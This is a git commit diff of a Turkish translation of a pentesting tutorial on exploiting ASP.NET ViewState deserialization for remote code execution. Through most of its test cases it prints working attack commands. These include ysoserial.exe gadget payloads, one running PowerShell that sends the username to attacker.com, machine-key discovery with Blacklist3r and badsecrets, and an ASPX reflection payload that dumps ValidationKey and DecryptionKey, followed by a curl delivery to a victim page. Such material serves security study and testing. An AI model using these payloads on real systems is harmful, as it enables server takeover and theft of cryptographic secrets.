Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p

This commit is contained in:
Translator 2025-07-22 20:11:37 +00:00
parent ddfc80e209
commit 07f9c2c9c8

View File

@ -4,7 +4,7 @@
## What is ViewState
**ViewState**, ASP.NET'te web sayfaları arasında sayfa ve kontrol verilerini korumak için varsayılan mekanizma olarak hizmet eder. Bir sayfanın HTML'si işlenirken, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizelere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
**ViewState**, ASP.NET'te web sayfaları arasında sayfa ve kontrol verilerini korumak için varsayılan mekanizma olarak hizmet eder. Bir sayfanın HTML'si oluşturulurken, sayfanın mevcut durumu ve bir postback sırasında korunması gereken değerler base64 kodlu dizelere serileştirilir. Bu dizeler daha sonra gizli ViewState alanlarına yerleştirilir.
ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile karakterize edilebilir:
@ -12,21 +12,21 @@ ViewState bilgileri aşağıdaki özellikler veya bunların kombinasyonları ile
- Bu format, hem `EnableViewStateMac` hem de `ViewStateEncryptionMode` öznitelikleri false olarak ayarlandığında kullanılır.
- **Base64 + MAC (Mesaj Doğrulama Kodu) Etkin**:
- MAC'in etkinleştirilmesi, `EnableViewStateMac` özniteliğinin true olarak ayarlanmasıyla sağlanır. Bu, ViewState verileri için bütünlük doğrulaması sağlar.
- **Base64 + Şifrelenmiş**:
- **Base64 + Şifreli**:
- Şifreleme, `ViewStateEncryptionMode` özniteliği true olarak ayarlandığında uygulanır ve ViewState verilerinin gizliliğini sağlar.
## Test Cases
Görüntü, .NET framework sürümüne göre ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu içermektedir. İşte içeriğin özeti:
Görüntü, .NET framework sürümüne dayalı olarak ASP.NET'teki ViewState için farklı yapılandırmaları detaylandıran bir tabloyu içermektedir. İçeriğin özeti:
1. **Herhangi bir .NET sürümü** için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur.
1. **herhangi bir .NET sürümü** için, hem MAC hem de Şifreleme devre dışı bırakıldığında, bir MachineKey gerekli değildir ve dolayısıyla bunu tanımlamak için geçerli bir yöntem yoktur.
2. **4.5'ten düşük sürümler** için, eğer MAC etkinleştirilmiş ancak Şifreleme değilse, bir MachineKey gereklidir. MachineKey'i tanımlama yöntemi "Blacklist3r" olarak adlandırılır.
3. **4.5'ten düşük sürümler** için, MAC etkinleştirilmiş veya devre dışı bırakılmış olsun, eğer Şifreleme etkinse, bir MachineKey gereklidir. MachineKey'i tanımlamak "Blacklist3r - Gelecek Geliştirme" için bir görevdir.
4. **4.5 ve üzeri sürümler** için, MAC ve Şifreleme'nin tüm kombinasyonları (her ikisi de true, ya da biri true diğeri false) bir MachineKey gerektirir. MachineKey "Blacklist3r" kullanılarak tanımlanabilir.
### Test Case: 1 EnableViewStateMac=false and viewStateEncryptionMode=false
ViewStateMAC'i tamamen devre dışı bırakmak da mümkündür; `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlayarak:
Ayrıca, `AspNetEnforceViewStateMac` kayıt defteri anahtarını sıfıra ayarlayarak ViewStateMAC'i tamamen devre dışı bırakmak da mümkündür:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
@ -38,8 +38,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```
### Test case 1.5 Test case 1 gibi ama ViewState çerezi sunucu tarafından gönderilmiyor
Geliştiriciler **ViewState**'i bir HTTP İsteğinin parçası olmaktan **kaldırabilir** (kullanıcı bu çerezi almayacaktır).\
Eğer **ViewState** **mevcut değilse**, uygulamalarının **ViewState deserialization** ile ortaya çıkabilecek potansiyel zafiyetlerden **güvenli** olduğu varsayılabilir.\
Geliştiriciler, **ViewState**'in bir HTTP İsteği'nin parçası olmasını **kaldırabilir** (kullanıcı bu çerezi almayacaktır).\
Eğer **ViewState** **mevcut değilse**, uygulamalarının **ViewState deserialization** ile ortaya çıkabilecek potansiyel zafiyetlerden **güvenli** olduğunu varsayabiliriz.\
Ancak durum böyle değil. Eğer isteğin gövdesine **ViewState parametresi** ekler ve ysoserial kullanarak oluşturduğumuz serileştirilmiş yükü gönderirsek, **Case 1**'de gösterildiği gibi **kod yürütme** elde edebileceğiz.
### Test Case: 2 .Net < 4.5 ve EnableViewStateMac=true & ViewStateEncryptionMode=false
@ -48,7 +48,7 @@ Belirli bir **sayfa** için **ViewState MAC**'i **etkinleştirmek** amacıyla be
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
Aşağıda gösterildiği gibi **web.config** dosyasında ayarlayarak **genel** uygulama için de bunu yapabiliriz:
Aynı zamanda **web.config** dosyasında aşağıda gösterildiği gibi ayarlayarak **genel** uygulama için de bunu yapabiliriz:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
@ -68,7 +68,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKey'leri tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için "python blacklist3r" aracı bulunmaktadır, bu da onu kullanmanın en hızlı yoludur.
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) bilinen machineKeys'i tanımlayabilen başka bir araçtır. Python ile yazılmıştır, bu nedenle Blacklist3r'dan farklı olarak Windows bağımlılığı yoktur. .NET viewstate'leri için, en hızlı kullanım yolu olan "python blacklist3r" aracı mevcuttur.
Viewstate ve generator doğrudan sağlanabilir:
```
@ -88,13 +88,13 @@ python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları belirleme ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir:
Kapsamlı bir şekilde savunmasız viewstate'leri aramak için, alt alan adları ile birlikte, `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md) modülü kullanılabilir:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ile saldırıya devam edebilirsiniz:
Eğer şanslıysanız ve anahtar bulunursa, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** ile saldırıya devam edebilirsiniz.
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
@ -110,23 +110,23 @@ Bu durumda, parametrenin MAC ile korunup korunmadığı bilinmemektedir. Bu duru
**Bu durumda** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modülü geliştirilme aşamasındadır...**
**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılarından **kabul edebilir**; **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekteki **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını kontrol eder**. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
**.NET 4.5'ten önce**, ASP.NET **şifrelenmemiş** \_`__VIEWSTATE`\_ parametresini kullanıcılarından **kabul edebilir** **`ViewStateEncryptionMode`** _**Her Zaman**_ olarak ayarlanmış olsa bile. ASP.NET **yalnızca** istekte **`__VIEWSTATEENCRYPTED`** parametresinin **varlığını** kontrol eder. **Bu parametre kaldırılırsa ve şifrelenmemiş yük gönderilirse, yine de işlenir.**
Bu nedenle, saldırganlar dosya gezintisi gibi başka bir zafiyet aracılığıyla Makine Anahtarını bulurlarsa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
Bu nedenle, saldırganlar dosya geçişi gibi başka bir zafiyet aracılığıyla Makine Anahtarını elde etmenin bir yolunu bulurlarsa, **Case 2**'de kullanılan [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komutu, ViewState serileştirme açığını kullanarak RCE gerçekleştirmek için kullanılabilir.
- ViewState serileştirme açığını istismar etmek için istekteki `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
- ViewState serileştirme açığını istismar etmek için istekte `__VIEWSTATEENCRYPTED` parametresini kaldırın, aksi takdirde bir Viewstate MAC doğrulama hatası dönecek ve istismar başarısız olacaktır.
### Test Case: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false, her iki özellik de false dışında
### Test Case: 4 .Net >= 4.5 ve EnableViewStateMac=true/false ve ViewStateEncryptionMode=true/false her iki özellik de false dışında
Aşağıdaki parametreyi web.config dosyasının içine belirterek ASP.NET çerçevesinin kullanımını zorlayabiliriz.
```xml
<httpRuntime targetFramework="4.5" />
```
Alternatif olarak, bu `web.config` dosyasının `machineKey` parametresinin içine aşağıdaki seçeneği belirterek yapılabilir.
Alternatif olarak, bu, web.config dosyasındaki `machineKey` parametresinin içine aşağıdaki seçeneği belirterek yapılabilir.
```bash
compatibilityMode="Framework45"
```
Öncekilerde olduğu gibi **değer şifrelenmiştir.** Bu nedenle, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Öncekilerde olduğu gibi **değer şifrelenmiştir.** Ardından, **geçerli bir yük göndermek için saldırganın anahtara ihtiyacı vardır.**
Kullanılan anahtarı bulmak için [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) kullanmayı deneyebilirsiniz:
```
@ -155,7 +155,7 @@ Eğer `__VIEWSTATEGENERATOR` değerine sahipseniz, bu değeri kullanarak `--gene
ViewState deserialization zafiyetinin başarılı bir şekilde istismar edilmesi, kullanıcı adını içeren bir saldırgan kontrolündeki sunucuya dışarıdan bir isteğe yol açacaktır. Bu tür bir istismar, "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" başlıklı bir kaynakta bulunan bir kanıt konsepti (PoC) ile gösterilmektedir. İstismar sürecinin nasıl çalıştığı ve MachineKey'i tanımlamak için Blacklist3r gibi araçların nasıl kullanılacağı hakkında daha fazla bilgi için sağlanan [Başarılı İstismar PoC'sini](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) inceleyebilirsiniz.
### Test Case 6 ViewStateUserKeys kullanılıyor
### Test Durumu 6 ViewStateUserKeys kullanılıyor
**ViewStateUserKey** özelliği, **CSRF saldırısına** karşı **savunma** yapmak için kullanılabilir. Eğer uygulamada böyle bir anahtar tanımlanmışsa ve şimdiye kadar tartışılan yöntemlerle **ViewState** yükünü oluşturmaya çalışırsak, **yük uygulama tarafından işlenmeyecektir**.\
Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız gerekiyor:
@ -164,15 +164,46 @@ Yükü doğru bir şekilde oluşturmak için bir parametre daha kullanmanız ger
```
### Başarılı Bir Sömürü Sonucu <a href="#poc" id="poc"></a>
Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü **başarıyla** çalışıyorsa, sunucu “**500 Internal server error**” ile yanıt verir ve yanıt içeriği “**Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir**” şeklindedir ve OOB isteğini alırız.
Tüm test senaryolarında, eğer ViewState YSoSerial.Net yükü **başarıyla** çalışıyorsa, sunucu “**500 Internal server error**” yanıtı verir ve yanıt içeriği “**Bu sayfa için durum bilgisi geçersiz ve bozulmuş olabilir**” şeklindedir ve OOB isteğini alırız.
Daha fazla bilgi için [buraya bakın](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### Yansıma Yoluyla ASP.NET Makine Anahtarlarını Dökme (SharPyShell/SharePoint ToolShell)
Hedef web kökünde **rastgele ASPX kodu yükleyebilen veya çalıştırabilen** saldırganlar, bunları zorlamaktansa `__VIEWSTATE`'i koruyan gizli anahtarları doğrudan alabilirler. Anahtarları sızdıran minimal bir yük, yansıma yoluyla dahili .NET sınıflarını kullanır:
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
Sayfa talep etmek, **ValidationKey**, **DecryptionKey**, şifreleme algoritması ve ASP.NET uyumluluk modunu yazdırır. Bu değerler artık geçerli, imzalı bir `__VIEWSTATE` gadget'ı oluşturmak için doğrudan **ysoserial.net**'e verilebilir:
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Bu **anahtar dışa aktarma primi**, 2025 yılında yerel SharePoint sunucularına karşı kitlesel olarak istismar edildi ("ToolShell" CVE-2025-53770/53771), ancak bir saldırganın sunucu tarafı kodu çalıştırabileceği herhangi bir ASP.NET uygulamasına uygulanabilir.
## Referanslar
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}